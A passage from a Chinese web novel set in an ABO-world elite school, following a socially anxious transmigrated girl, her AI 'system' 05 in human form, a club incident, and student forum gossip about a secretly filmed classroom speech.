咸蛋酱:不可能,据我所知,在休息日她还没答应过别人的邀约,她从没单独和同学出去玩过!!!
4L
听雨:有图吗?不然假的举报了删帖。
5L
爷不留名:霞江路具体哪里,我正巧在这周围,楼主发个定位看看。
……
29L
XL:两分钟了,楼主怎么还不回复,都散了吧,假的。
——
爱吃巧克酥小心翼翼地举起手机拍照,手都快抖成筛子了,眼看着镜头中的女孩瞥来一眼,她吸了一口冷气,按下去,蹲下身子躲起来。
32L
爱吃巧克酥上传一张照片。
「照片有些模模糊糊的,两人站在一起,女孩仰头,男孩低头,看样子十分亲密,背后的落日成了唯美的背景」
爱吃巧克酥:救命,我好像被发现了。
33L
烦:定位。
34L
爷不留名:楼主快发定位。
35L
咸蛋酱:靠白这逼还真有两把刷子,楼主快发定位啊啊,崩溃了。
……
爱吃巧克酥没急着发定位,因为就在她回消息的那几秒,一抬头就发现一直跟着的人不见了。
————
因为出现意外的缘故,原本三天的研学被迫取消,提前放假,昨天白洛翊和我约定好今天在霞江路大厦前还衣服。
我答应了。
当然,不是别的。仅仅是为了完成每次丝珮叶休息日我的KPI罢了。
由于穿越异世界的原因,我的灵魂磁场和这个世界不太匹配,而与这个世界上能量强度高的人建立联系,能有效缓解世界自发产生的排异反应。
联系越深,排异反应越弱。
网络上发送信息
一般休息日时,我会随机回复几条短信发几条信息或是精挑细选一个关系还行的同学薅羊毛,也就是打电话尬聊。
但昨天刚好有这么一个机会摆在我面前,只用去街上拿一下衣服,顺便说几句话“你
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好”“谢谢”就能走,不用进行网络上那度秒如年的长达十几分钟、绞尽脑汁找话题还时常冷场的通话,那实在再好不过了。
于是我赴约了,在要不要戴上口罩帽子外套把自己捂的严严实实中犹豫了下,害怕同学奇怪眼神的我只戴上了帽子轻装上阵。
一开始如我所料,开场白不过几句,白洛翊把袋子递给我,我正准备说声谢谢就拔腿开溜。
就在这时,我下意识偏头,看见有人在向我们拍照。
我愣住了,白洛翊倒是神情自若,被人围观惯了的,低头看了看我的脸色,寻问我要不要他让那人把照片删除。
偷拍的人是个女生,发觉被发现就怕的蹲了下去,看着怯怯的可怜模样。
我摇头,没说话,把帽檐又拉低一些,示意他快点走离开这里,中心街商业区,人越来越多了。
————
65L
雅安:楼主人呢?
66L
玩的就是心跳:懂行的人早就已经追踪定位了。
67L
从不流泪:呜呜呜定位快发啊我已经到了街上了。
68L
爱吃巧克酥:人跟丢了。(哭泣)(大哭特哭)
69L
熙熙:我到这条街了,没找到他们,倒看见邢珏和漾姐,我去,还有好些同校的。
70L
圆圆可可回复熙熙:正常,他们两个在这附近约架,其他人看热闹,没打多久,得知论坛上的消息,就都赶过来了。
————
刚刚犯蠢了,明明可以直接道别离开,还示意人家跟着一起。
压低的帽檐遮挡住我的视线,没有留意到渐渐从四面八方围过来的人群,只注意到身边白洛翊突然停下的脚步。
我抬头,疑惑地看他一眼,紧接着意识到这是一个绝佳的道别时机。
“白洛翊,那我先走了,下周一见。”
16. 第 16 章
我走远了再看他时,他已经被一群人笑笑嘻嘻的围着了。
白洛翊人缘真好。走个街道,都能偶遇一大堆朋友。
我惊讶地看了好几秒,不禁想起了那个世界中的好友们,也不知他们过得怎么样……
于是我如往常一般地呼唤系统「05?在吗」
05已经因为系统升级消失好几天了,因提前告知我也没有太多慌乱,只是雷打不动的每天喊喊。
许是系统与宿主间的默契,心里有种预感。
「小姐,我在」
我的系统回来了,还带给我一个大惊讶,他有了人身,一个挺英俊的成熟男人。
我问他有没有什么大惊喜给我,比如马上就能回家之类的,他不作声了。
我无奈叹息:好吧。
再多忍两天。
*
“又没有了?”
本是想趁今天休息日下楼囤点巧克力的,结果走了好几家店,店里HN的巧克力都卖光了。
一个小众品牌的黑巧什么时候这么火爆了?
不信邪的我又走了些路,准备去看看大商场里有没有卖的。
结果就看到了有了人身的系统先生。看着挺正经的模样,有目的地向前走去。
现已落日西斜,寸土寸金的黄渊路热闹非凡,各式豪车呼啸而过转而停留在不同俱乐部门前。
我眼看着系统05接受安检进入一家复古风格的俱乐部,下意识跟了上去。
心里笃定他瞒了我什么秘密。
这家俱乐部似乎新开业,门前大排长龙,时髦靓丽的男女井然有序地接受安检顺利进入。
我低头的看了看自己的装束,心里打起了退堂鼓。
不等我再三考虑,安检已到我了。
算了,来都来了——
我有罪。
我不应该溜进这个奇怪俱乐部的。
要不然也不会陷入如此尴尬的境地——看着05跟他上楼、被同班同学一眼认出、说这里不安全没等我反应过来已经被带到了他的包厢。
也不知道他眼睛怎么就那么好,我还戴着面具呢,一眼就认出来了。
包厢很大,隔音很好,那些聒噪嘈杂的音乐交谈声完全消失,人不多,零星几个坐在沙发上,绕有兴味地看着他带着突如其来的我。
一楼在开假面party,灯光晃动,声音嘈杂,触目可及都是些潮男潮女,他们戴着各式各样的面具。我好像一只被迫上岸的鱼,被燥热的空气挤压的快要死去。
刚进来时,为了不成为异类,我把口罩帽子迅速摘下,随手拿了一个面具罩在脸上。
只有焊在我的脸的面具在这个满是潮人的俱乐部才能给我一丝喘息之力了。
此时我那位同班同学的手几乎要碰触到我的面具,似乎想要帮我拿下它。
救命,可别啊,我一个社恐,可见不得光,没了面具我还怎么见人啊。
说那时迟那时快,我一把把他手把住了。
他的手动了动。
我的心脏骤停,生怕他挣开我的手把我的遮羞布(面具)扯下,顿时我握他握的更紧了。
目光对视,眼睛眨也不眨,我们二人动作相持不过十几秒,我背后冷汗直冒。
谢天谢地,他最后放弃了摘下我面具的想法。
包厢内的客人除了我都没戴面具,招待生才戴增添氛围感,我还和招待生打扮还差不多上白下黑的。但我宁愿让别人误会,也不愿摘下面具,一个人在外总要有几个让自己感到安全的装备。
在校内是没法,到了校外没了口罩或鸭舌帽就等于失去了左膀右臂的我是不会轻易让面具消失的。
同班同学是个银毛潮男,家世好的公子哥儿应该没怎么被人忤逆过,他的朋友互相挤眉弄眼,正有人好奇开口,刚发出一个音,就被他一个冷眼过去,咽下话。
我安静坐在角落沙发上,权当自己是个透明人。
“这里不是什么好地方。”他斟酌着开口,“你怎么找到这里的,或者说——是谁带你进来的?”
一如既往的暗黑风,身
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上挂着些看着很贵很漂亮也很晃眼睛的银饰,邢珏同学俯下身认真注视着我的眼睛。
好像是被野兽盯住了一般,我呼吸一滞,足足停了十秒,开口道:“……就进来、随便玩玩。”
我眼睛干涩地眨眨眼,不爱社交的我谎话当然不可能信手拈来,就看邢珏他愿不愿意相信我。
他沉默了一会儿:“这里没什么好玩的,一个新开的一个俱乐部,楼下好些是老板叫过来积人气的人,鱼龙混杂,你一个beta在这里很不安全……是白洛翊带你来的吗?”
嗯?
怎么话题突然转变这么大,他怎么突然想到白洛翊身上去了?
“不是,我一个人。”我摇摇头。
邢珏的手下意识探向酒杯,想到什么似的,又缩回来。
一个招待生走进来对他朋友耳语。
一分钟后,包厢门打开,一个我熟悉的身影被人钳制着进来。
男人身着正装,半蜷缩在地上,原本整洁漂亮的白衬衫上被撒上了些不明的液体,近乎透明的贴在身体上,清晰的肌肉线条显露出强劲有力的腰腹。
他的头发湿漉漉的,几缕贴在脸上,眼睛晕出泪汽,本是高大威猛的成熟男性面孔此刻的神态弱化了身体和样貌带来的威胁感,流露出令人怜爱的一面。
他的手在颤抖。
.
05系统的手在颤抖诶。
从他丢在地上我看清他的面孔起,我的眼一刻也不离开他了。
这个世界玄幻了。
那个严肃、没有人味儿、充满机械感的系统先生换了个人身就变得如此娇弱可怜吗?
那滴泪水从潮红的眼角流向脸颊,漫出晶莹的泪光,咦,好真啊,像真的人一样诶。
他昨天显出人身跟我讲话的时候还一板一眼跟个面瘫似的嘞。
太过震惊之下,我忽视了其他人看向我的目光,全部精力集中在了这个好真好真的系统身上。
哇!
“云卿。”
“你认识他吗?”
17. 第 17 章
戴着黑金色鬼脸面具的女孩盯着蜷缩在地的成熟男性,像是看入了迷。
那两个问题接连出口,包厢内的气氛陷入了奇怪的寂静,这新开的俱乐部背后的老板——一位年纪尚轻的青年眉心跳了跳,摆摆手,让下属们先出去。
他在邢珏带那个奇怪女孩进门时就一直暗戳戳地注意着二人。
alpha绝佳的听力让他可以在看似吵闹的包厢清晰地听到角落里的交谈。
那位一向冷漠寡言的alpha好像变了一个人,他对明显微弱的力道泄气妥协。解释、询问,恪守礼节,保持合适的距离,从什么都不放在眼里的公子哥变成仅对一人的绅士。
而现在,极为轻微的冷雪味弥漫在空气中,看样子还是某位alpha努力控制的结果。
青年默不作声,看了一眼倒在地毯上像是中了不知名药物的男性,撇开视线,虽是这里老板,但眼看邢珏介入了,他可不愿管这烂摊子。
.
“你认识他吗?他是你的朋友吗?”
“认识”和“不认识”、“是”或“不是”,他给了女孩容易回答的简单选项,但其实作为一个alpha面对这种情况更想问的是“你们两个是什么关系?”“什么时候认识的”“你为什么要看他怎么久”等等。
可他不想让自己显得咄咄逼人。
监控已经被送到他眼前了,那男人与她是前后脚进来的,她一直在注视着男人,她一直跟在男人身后。
是这个男人带她进来的。
少年的身躯已接近成熟,久久没听到回答的他终于忍不住站起身,瞳孔微缩,在口腔里漫出血腥气时,信息素才勉强控制住。
没有再试图询问,他走上前,俯视,黑瞳一寸一寸地扫过男人的面孔、身躯,得出结论,一个beta。
有点老,他盯着男人的脸,毫不留情地定下“年老色衰”的罪名。
靠这种东西来博眼球吗?他扫过男人眼尾脸颊的红晕、胸口裸.露的肌肤、黏在腰上近乎透明的衣衫。
与男人对视的双眼流露出不屑与厌恶,但心底却产生一丝不确定,她喜欢这样的吗?
他顿了一下,掀眸,直直地看向友人:“他犯什么事儿了?”
闹场、下药、斗殴。
更愚蠢的是,他下药的酒被受害者调换,加害人反成受害者。
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>*
“等一下。”
包厢内几人给系统05定了一连串罪名,准备把这个刚开业就闹事的好好整一番,黑衣人正要动手的时候,我终于忍不住了。
“虽然,他可能犯罪了,但我们,不是应该要遵守法律吗?”
在这么多陌生人面前发言,我紧张的不行。
但担心压倒了社恐的紧张。
这种担心并不是担心系统05是不是像他们所说的要被惩罚断手断脚、割舌头等酷刑,我并不是很在意一个与我非亲非故的机械的痛苦。
我担心的是万一他们没轻没重,他的人身真的一不小心被害死了,我脑内的05系统消失,我回不去了怎么办?我不敢赌这件事的发生。
被送入警察局总比被用私刑存货几率大,像这种没造成别人人身伤害,不出意外,没几个月就能出来。
“把他送进警局吧。”
“他犯错了,但我们不能肆意妄为。”
我抬眸看向邢珏。
少年站在光下,明与暗的阴影更称得他棱角分明、骨相出众。
在多位极力主张私人报复的人面前,少年显得格外公正赤忱。
18. 第 18 章
【不懂就问是我错觉吗最近学校里防骗宣传力度好大】
1L
百香啵啵:rt,除了每年的omega教育惯例,omega防身术、alpha急救术防骗教育层出不穷……我一个beta这个星期都上了四五节主题课防alpha犯罪、防omega装弱、甚至防同性别beta的熟人犯罪了……我看最近联邦内部也没出什么大事啊。
2L
王的落寞:不懂就别问。
3L
可恶:一看就是新人。另外,不懂别问!谁要你懂了。
4L
余:哎呀,这是正常的啦,防身防骗对每个人来说都很重要的啦。按照规定做就行了。
5L
原来喜欢你:没什么,别管。
6L
雨止:学这些是为你好。
7L
樊:学这些,等你以后遇到骗子就懂了。
8L
云不散:学生会的主意,不知道他们什么时候关注上面基诱骗网恋事件了,大部分主题课都与三性关系有关。
……
57L
百香啵啵回复王的落寞:就问什么了???
58L
百香啵啵回复可恶:什么新人?不是,我服了,论坛上一个个的戾气这么大。你对象是被骗了吧?神经。
——此楼已因投诉举报永久封禁,不可回复——————
【看看学生会那群神经还要出什么奇招】
1L
热闹在哪我在哪:xs,互相看不上对方的一群人头一次站在一个阵营里。
2L
热闹在哪我在哪:A说O娇弱无力,O怼A野蛮粗俗,A、O骂B平庸狡诈。这回学校里beta算是站在风口浪尖了。哈哈哈哈哈哈哈哈哈哈哈哈哈。
3L
余:这次beta需要上的那些主题课,可是丝珮叶历史上学生会的全票通过。不过听说会议上,alpha、omega的都在卯足了劲推举防被beta欺骗降低防线的主题课,还专门请了几位教授、军官。啧啧啧。
4L
听风声经过:招数齐不齐不知道,我只惊愕丝珮叶股东们竟然都同意了。
5L
水曦回复听风声经过:正常,学校就是学生会主干家开的(bushi)
6L
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>热闹在哪我在哪:哈哈哈哈哈哈哈听说了那事之后姜家那个破防了连发情恢复期都不要了火急火燎回学校。
7L
冰糖撞奶:破防的可不止一个人。。。。。。。。那是一群人
8L
忘雪:麻烦看热闹不嫌事大的去死谢谢。
9L
热闹在哪我在哪回复忘雪:哟,又来了个破防哥。不是我说,就算没那个beta你就有机会吗请问?xs。
10L
百香啵啵:什么事啊lz瓜来瓜来。
11L
炎客:一周过去,肯定会有新花样摆上来,要知道这防骗上课对她可没什么高效果。
……
112L
雨止:牛的,楼主真敢说。
113L
炎客:完了,这楼爆了。不要啊啊啊。
……
120L
科系的话:lz快跑,学生会的人已经在解码了。(此号已注销,评论已删除)
————此楼涉及论坛规则第13条,禁止讨论话题与已产生不良影响————发帖人账号永不可使用、跟帖人账号禁言一个月————
19. 第 19 章
学校疯了吗?下半年突然这么多活动。
我缓慢吐出一口气,面无表情地看着镜子中苍白瘦削的女孩,黑色眼瞳里都没了光。
主题课前请假去卫生间,打着能拖一秒是一秒的想法,我龟速地整理着装,扯扯领结、抻抻衣袖,湿润的手指滑过略显凌乱的发丝,留下短时间内消不掉的水渍。
我盯着镜子,思绪又在无意识地飘远,脑子晕乎乎的乱作一团,躲避、逃离、想要蜷缩在只属我一个人的小小房间。
来丝珮叶的第六个月,越来越多的公开活动意味着越来越多的与更多其他人接触的时间。暴露在更加陌生的视线中的不安与恐惧无法化解,躲在这里也并非长久之计。
我在认命和逃课中踯躅,不知站立了多久,终于有人叫醒了我:“云卿。”
“你怎么了。”
专属beta的卫生间内,班长站在我旁边,似是疑惑我为何独自站立许久。
A班的班长由一票一票投出来,在性别比悬殊、等级森严的丝珮叶学院,虽说有a、o推诿的原因在,但一个平民beta能担任班长本身就说明了她实力非凡、令人信服。
而鱼竹雨就是这样,蝉联无数次的年级第一名,奖金奖状奖牌奖杯拿到手软,无论是紧急的事还是他人出了纰漏的状况,她处理起来都是一副让人安心的淡然模样。
此刻依旧,鱼竹雨戴着黑框眼镜,齐肩短发,保持着恰到好处的微笑,面上微不可见的疑惑。
我突然意识到我看着鱼竹雨不说话已经一分钟了。
“没什……”刚打算随便糊弄过去的我脑中灵光乍现。
对了,我可以找班长请假去医务室消磨时间啊,原世界时我都是找班主任请假,但这里班长权力可大的多了。
急忙转变口风,我微微颦眉,故作虚弱道:“班长,我月——”
可恶,忘记这个世界beta没有月经了。
果然说谎还是不太适合我。
我故作镇定,顿了顿,继续说下去,不求有多真只求符合常规:“我头有点疼,可以请假去医务室一趟吗?”
她点头。
“那老师那里麻烦你说一声,谢谢了。”
我转身,毫不犹豫,窃喜地走了。
连后面一句“不用谢,好好休息。”都没能停下我不礼貌的步伐。
虽说这个世界学校学生的的权力大的可怕,但对习惯了公立学校的我来说,班主任知道了才是一
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个安全的保障。
丝珮叶学院是真大,来了几个月都没认完整个学校的路痴本痴——我,没有询问其他人医务室,而是全凭感觉逛。
不同年级不同安排,不同班级不同课程,其他老师是不会随意出动询问学生为何不归班的。
找医疗室的这段时间毫无疑问又可以消磨下去了,在学校里闲逛也好过在主题公开课上被抽中当示范上台强。
当一次猴子已经够了。
到了医务室,在我跟医生说完头又晕又疼想休息一下后,医生一脸意味深长,那种看透了我的表情“你就是想逃课吧不想学习了吧”,却没再问什么就让我进去,说里面还剩几个病床让我自己挑。
!
妈妈,我遇到心软的神了。
这里就是唯一的天堂吗?这个学校医生也太善解人意了,我以前到底错失多少这种磨洋工的时间啊,这里学生就过这种好日子吗?厌学了还可以进来躺躺玩玩……
表面一贯的淡漠冷静也无法掩饰我发现宝藏而兴奋得微颤的手指。
我径直走向最远的一个角落里的病房。
呜呜。
躺在病床上,四面八方都被围着,只有我一个人,好幸福好幸福。
20. 第 20 章
从中午睡到日落,系统05赶在医生来喊我之前叫醒了我。
这个时候正临放学。
我慢悠悠地晃着,准备磨几分钟,等校门一开直接出去。
系统05那天后便沉默许多,似乎是被人类世界的阴谋诡计震碎了系统观。
时空管理局发现此世界出现闯入的外来者,因05恰巧就在此地故被时空管理局下达命令执行任务,按照计划,本是先商讨谈判不行再武力封锁驱逐。
等他到了定位地点,找到嫌疑人,本来谈的好好的,对方也礼貌好说话,结果到最后一步需要人家就地离开的时候,猝不及防05被坑了一把,嫌疑人逃之夭夭,如今连定位也失效了。
05刻意模糊了其中的具体细节。被人类算计这件事似乎成了他职业生涯的黑历史。
就是在那件事之后,我才得知05系统在被安排在这个abo世界之前刚从时空管理局产生,没接触过人类。
那晚惊险,05进了局子,差点就要铁窗泪了,好在他及时清醒过来,数据侵入,找出了证据。
当然,更重要的是邢珏牵线说了好话,那个俱乐部老板没怎么计较,同意和解,不然05怎么也得在里头住几天。
我看了看时间,正好,踩着点走出校门。
「05,你人身今天没来校门口接我吧?」我警惕地扫了扫周围。
05系统意识一直在我脑内,回复我时可以同时操控人身。
那晚他在众人面前意识不清,稍微恢复后就是直接链接告诉我协助他“翻案”的。
可能是为了表达谢意,05前天直接来校门口接我放学。
那时刚迈出校门一脚,一抬眼便看见05,在众多人对比之下扎眼的相貌体型。
对上眼的那一刹那,我只想逃离,05属实是看不懂脸色气氛的存在,穿着非常正式帅气的西装皮鞋的他直接走上前把我书包接过,自然放在肩上。
这下钻进地洞也来不及了。
“你来干什么?”感受到目光如穿刺般的我,咬着牙低声问。
“来接你放学。”05一板一眼地回答,严肃又认真,“人类世界的坏人太多了。”
“那你穿成这样干什么,学校门口又不是你的T台秀。”
虽说丝珮叶是贵族学院,但这不代表需要上学下学接送者都这样西装
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革履啊,哦,保镖不算。
出来的学生越来越多了,我瞥见好几个越过了我还回头看的,好奇打量着。
“抱歉。”05愣了一下,脚步一顿。
我低下了眼,心情不好:“你下次打扮正常点吧,别来接我了。”
05倒是听了我的话,不过只听了一半,昨天他又又来了,打扮倒是正常了点,但仍是吸睛,明白了些什么,特意在角落等我。
可他接连出现了两天,出挑的容貌让不少同学心里留下了印象。
单就成熟俊美青年专程耐心等待少女放学这一事就让不知情者好奇。
我既不想去当万众瞩目的焦点,也不想成为别人茶余饭后的谈资。
于是就斩钉截铁地拒绝了05提出的接送请求。
他仍是万年不变的理由「人类世界很多坏人,一个人上下学危险程度高。」
我烦躁:你一个系统都会轻而易举地被蒙骗被算计,凭什么认为你能确保我的安全。
「……」
他沉默了也同意了。
我开心了。
但我的刚接触人类社会没几月的系统好像emo了。
21. 第 21 章
老规矩,周二放学奖励自己一块小甜品,周三上学前再买块小甜品哄自己踏进学校。
今天周二,我记不清自己已在异世生活了多少天了,从现在回看过去艰难熬过的时光,不会觉得轻松地像个小山丘,只会加倍地敬佩自己跨过了高山跨过了深谷。
嗯,我真厉害。
在我的目光从咖啡巧克力慕斯蛋糕移到黑森林提拉米苏再到白桃香缇芒果糕的时候,仍不忘每日惯例鼓励自己。
目光不断偏移,我陷入选择困难的常态。
心底偏好的无非就是那常吃的几样,可诱人的新品又实在令人好奇会不会占据味蕾的高峰。
我让系统选,系统05在十几秒内把每样甜品从头至尾分析,从健康、受欢迎程度等精准排列,综合排名出三样推荐给我。
三秒后,我没有丝毫犹豫要了一个没在系统05整理排名中的前三甲,一个角落里很少有人选择、我却常吃的小蛋糕。
系统:……小姐。
我敷衍找补:突然想吃椰子味的了,你推荐的下次吧。
我回到家一口一口地吃完蛋糕,坐在窗边欣赏着落日霞光,平静轻松,偶尔心中泛起一层微波涟漪,忽略不计。
这种平静中带有一丝起伏的心情持续到睡前,心中隐隐的不舒服被我忽略,以为是次日周三的缘故。
*
我错了。
我大错特错。
直觉认为周三不妙可不仅仅因为它是周三啊,周三有班会课,班会课……
这次班会课我要上台发言啊!
我忘了。
这事是一次beta防骗主题课后,班主任找通知我的。
那时我正处于被抽中上台演示的混沌期,老师的话我似听非听,只感觉好像一个噩梦般的消息传来,在又一次学校礼堂公开课前,我找了个空子去医务室偷闲半日后,一觉醒来,全忘了。
系统05也没提醒,我来不及想它是不是故意的了。
怎么办怎么办?
距离班会课还有半小时。
跟班主任推拒?说下次?
不行,一个月前原本是我,已经换了好几次人,全班只有我一次也没上去过了,还有我上周就说的是下次。
跟同学商量帮忙代一下?
每周主题都不同,且不说同学会不会答应帮忙,我先前忘了写稿子,难道要人家临场发挥,还是网上找一篇来念?
之前的班会课每个人都尽心尽力搞的有模有样,没一个人划水摸鱼随便糊弄,用心与不用心差别太大,网上抄来的与精心准备的差别太大,没人丢的起这个脸。
那谁可以临场发挥、临危不惧、有条不紊呢?
距离班会课还有十五分钟,我呆坐不动,脊背发凉。<
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p>……鱼竹雨。
我脑中冒出三个字。
距离班会课还有十二分钟,我咽咽口水镇定地移到鱼竹雨课桌。
她正在看书,见有人来,顺手将一枚书签夹在书中。
我紧张地目光飘移,就是不落在她的脸上,正巧掠过书上一句“……她笑永恒是人们造的谎……”
“找我是有什么事情吗?云卿同学。”
鱼竹雨的声音柔和,带有很强的安抚性,莫名让我想起过去的一个心理咨询师循循善诱让患者心情平和开口诉说。
而我对那个心理咨询师态度感谢中带着一丝厌恶,我对被洞悉异常的不喜,被人了解所有的弱点、黑暗,像是全身沾满了眼睛似的的恐惧。
距离班会课还有十分钟。
我好像静止了一样,那些外在的内在的明显的或不明显的应激反应仿佛消失了。
我发出声音。
“班长,我就是想再确认一下,这周班会的主题还是校园安全吗?”
“对,没有换。”
“好的,谢谢班长。”
距离班会课还有五分钟。
我回到座位上,坐的板正。
距离班会课还有三秒。
两秒。
一秒。
我好像听见了什么东西重重掉落在地的声音。
我没管,直直走上去。
22. 第 22 章
一般这种主题类文章都有可套用的格式,按照固定套路,开篇点题引出论点,中间举几个相关案例加上议论见解,最后总结强调呼吁倡导。
这些主题套路文,在应试教育时期,我写过成百上千篇了,不用多想,下笔即成章。
难就难在公开演示讲解。
班主任年纪不大,不久前从国外留学归国,教学理念开明给学生极大自由空间,像这种活动,她通常不在,由学生自主组织。
此时班级里只有学生,没有老师。
我踏上讲台。
要说的话,几分钟内想好的语言自动在脑中浮现。
也许我应该可以在几分钟就打好草稿,写下几个关键字词,帮我顺利完成这一挑战,可我没有想到或者说,那时被迫将要走出舒适区、濒临一直以来的恐惧时的我失去了对身体的掌握。
无法控制它如临大敌的僵硬,无法停止它神经质的发颤。
直到铃声打碎了我的软弱与希冀。
我站起身,走向讲台。
从哪里看到,害怕演讲的人可以把观众看作一个个水果;可以不用接触到他们的眼睛,看向下庭;又或者在脑中自主构建一个私密的空间……
我是脱稿演讲,我正在面无表情地对着下面的一个个梨子、香蕉、椰子、草莓、西瓜等等讲话。
我的呼吸没有凝滞,心跳也没有我想象中的那样快,它正在缓慢而有力的跳动着,我几乎感觉不到它的存在。
我好像忽略了所有,又好像所有都已融入我的眼中。
千字作文写出来不需要一个小时,而从口中念出不过几分钟。
我走下去,安静地坐下。
这堂课似乎毫无破绽。班长顺理成章地继续主持接下来的流程。
我看着她。
这不是她的工作,按照以往,老师安排谁,谁就从头主持到底,除非有人事先跟别人商量好。
我走下去的时候忘了这一茬,坐下记起时不想也不能再上去了,迟来的恐惧、厌恶卷土重来,占有了我的身体,从喉喽中涌上一阵阵的反胃感。
鱼竹雨依旧是云淡风轻的样子。
我收回目光,平复着呼吸。<
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不出意外的话,接下来,我又会在学校医务室度过了。
.
来的有点晚了,常处的位置被别人占去,我走向另一个较为安静的角落。
我平躺在床上,眼前是晕眩的一片。
时间静止、空间独立。
我现在应该要快点调整好心态,排出脑海中纷杂的思绪。或者,我也可以好好的睡一觉,像从前一样,治疗自己。
做不到,没办法,我脑中混乱,我眼睛发直如死人一般。
这里一小块天花板是蓝色的。深浅不一的蓝,像大海一样。
我直直地凝视着它,眼前闪过波涛,鼻尖嗅到海水的潮湿与腥味。
我已身处大海,缓缓下坠,无力抵抗。
大海中没有人的凝视,没有我的恐惧。这里也本应该静谧。
可这里并不安静,医务室中并不安静。
我的临床,即便用床帘相隔,也无法阻碍那人传来的声响。
床单被褥的摩擦声、游戏的背景音、少年的低声说话。
好像还是熟人。
23. 第 23 章
那头的声音断断续续,不过几分钟,游戏声音停止,少年似乎收到什么消息般讶然动作幅度过大,病床“咯吱”一声。
我静静地听着,百无聊赖地从少年寥寥几语中猜测他是哪个熟人。
那头声音突兀的出现,他好像点进去一个视频,声音从大到小,再到消失听不清,能看出他有几分素质的调小音量。
声音。
那个声音好熟悉。
那个手机中突然播放的声音好熟悉。
“唰”的一声。
我拉开床帘,毫无阻隔的两个病床让我轻而易举地瞟到了他手机上的画面。
他扭头看我,眼神中带着惊愕。
我依旧在看他的手机,甚至觉得距离不近,看不清晰,我还直起身,眯着眼前倾凑近过去。
他后知后觉地把手机倒转,脸上是努力想掩饰但掩饰不了的惊慌。
相顾无言。
短短几秒,我脑中闪过无数画面。
是走马灯吗?
“那个、云、云……”白洛翊到底沉不住气,结结巴巴地开口。
我看着被倒扣着的手机,打断他:“刚刚你手机上播放的什么视频?”
“呃……”
他眼神闪烁,慌不着路,不知该回答什么。
“给我看看。”
近乎命令的口吻,我却语气虚弱,如在病中。
少年脸上闪过挣扎,湿润的眼睫跳动几下,把手机打开递出,他老老实实地坐在原处,低着头,又忍不住抬眼,紧张焦灼的样子像是在等待某种审判。
可我比他更紧张更忧虑,我绝望,我心如死灰。
手机中的视频明显就是不久前拍摄的,拍摄者就坐在教室里,选好隐蔽的、不易让被拍摄者察觉的角度,从头至尾,从我走上台到一秒起到回到座位后还停留两分钟才结束。
这一个视频,一下子把我已放入脑海深处的记忆全翻出来了。
下去之后就立马忘却的、无法回忆的内容立马耀武扬威起来。
视频播放结束,我也没再回忆一遍的打算,在凝滞的气氛里,我把手机放下。
很轻微的哽咽抽泣,年纪不大的少年眼中涌出积蓄了很久的泪水,他的身体也跟着轻微的颤动。
“对不起。”原本清澈的少年音不可避免的带着几分哭泣中的黏腻沙哑,他低落着双眼。
几滴泪水滴落,浸湿了一小块床单,他又重复了一遍,这次更加清晰,可依旧没有抬眼看我。
他为什么道歉,他觉得对不起什么,他怎么就哭了啊,该哭的不是我吗?
“对不起,呜……”可能是依旧没有听到我的回复,他第三次重复,这次眼泪如决堤的大坝洪水泛滥,哭的乱七八糟的。
“你别哭了。”
对于这时心情颇为糟糕的我来说,安慰人是不可能的了,克制着自己不让不耐烦、躁郁流露出来,已经很努力了。
他停顿了一下,很听
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话尽力遏制不停抽噎的身体。
视频拍摄者明显在教室内部,又不是他拍的,难道他是觉得舞到当事人面前太尴尬而羞愧了吗,还是我的态度有点凶吓到他了?
我思忖了下,没琢磨出什么。
他小心地抬眼,眼中是湿漉漉的水汽,轻轻的声音中也带着水声:“你别生气。”
我怔了怔。
他怕我生气?我生气什么……对了,之前被少年哭声打断、心中蓬勃奔腾难以排遣的焦躁、紧张重新出现。
如果一个外班的人都有不久前刚录的影像视频的话,可想而知,视频流传的范围有多大。
我难免咄咄逼人似的询问。
“这视频谁发给你的?”
“有多少人看过?”
“是私发,还是群发?”
……
我并不想出名,更不想以这种方式“黑红”。
可能看出我的急促不安,又或许是想弥补些什么,白洛翊立马说他能删除学校里流传的所有视频,言语有点结巴但语气极为坚定。
我盯着他,没说信不信。
他立马从旁边包里翻出一台笔记本电脑,手指运作起来。
他打了多久键盘,我看了多久。
很快,他完成任务。
我对这些不是很懂,没看出他有没有真的成功是不是在糊弄我,他还没正式回答我的问题呢。
“所以,视频是谁拍的,又是谁发给你的?”
24. 第 24 章
丝珮叶学院内部论坛「学生论坛,学生管理,非本校学生不可入内,一人一号,注销后永不可再有新号,遵纪守法、天天向上,学生会提醒您,请遵守版规」
【那个视频怎么不见了???】
1L
苦茶子丢丢:rt,一分钟前还在,刚刚我一看就404notfound。。。。。。。
2L
缘故:!我的也没了。
3L
可燃可以:lz不说我还没发现。
4L
遇雨:前排提醒,这贴已经被举报了。
5L
113322:我已经保存的视频也没了。
6L
苦茶子丢丢回复遇雨:我去,这又是什么新禁忌了??补药啊我刚出来不会又要被关小黑屋了吧??
7L
苦茶子飞飞:补药啊补药啊见过光明的我怎能再忍受黑暗
—————此贴已删除,发帖人禁言48小时————
【一眨眼,我的视频水灵灵的消失不见了。】————涉及违反版规条例,此贴已屏蔽,人工审核后才可放出————
【求助求助,有人保存了那个视频吗?我突然找不到了。】————涉及违反版规条例,此贴已屏蔽,人工审核后才可放出————
【苦苦在佛前求了两千年我只为了看那个视频一眼,今晚我会遇见心软的神吗?】————涉及违反版规第十五条涉及封建迷信,此贴已删除,发帖人禁言72小时————
【黑云压城城欲摧,山雨欲来风满楼,每次将有大事发生的时候,就来顶顶这个贴】(hot)「2」「3」……「12」「13」
1L
热闹在哪我在哪:没错,就是有人作死or有人发癫or有人出事的时候用的,这其实是个打卡贴,嘻嘻。
2L
热闹在哪我在哪:卡。
3L
细水长流:呃,lz你这两句诗……不对吧……
4L
热闹在哪我在哪回复细水长流:别管,这不重要。
5L
成败在我:卡。
4L
蜿蜒的水流:打卡。
……
567L
热闹在哪我在哪:打卡,嘻嘻嘻嘻
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嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻尾巴要被抓出来了呦
568L
云卷卷:踢一脚,有人完了哈哈哈哈哈哈
569L
余:打卡,她好像真的生气了……
570L
卿我心:dd,也不知道是哪个蠢货泄露出去的。
571L
sing:呃,就我觉得那人有点惨吗?毕竟在座各位都看过那个sp了吧,喝水不忘掘井人啊。——此楼楼主已删除(楼主特权)
572L
雅安安:卡,这贴什么东西混进来了,难不成楼上就是正主?(咦惹~)嚯嚯嚯(抓住破绽)(猫猫探头)(努力睁大眼睛环顾四周)
573L
可恶:啧楼主还不删那脏东西等着过年吗?被抓到就要怪自己没本事,让她生气更应该以死谢罪!!
574L
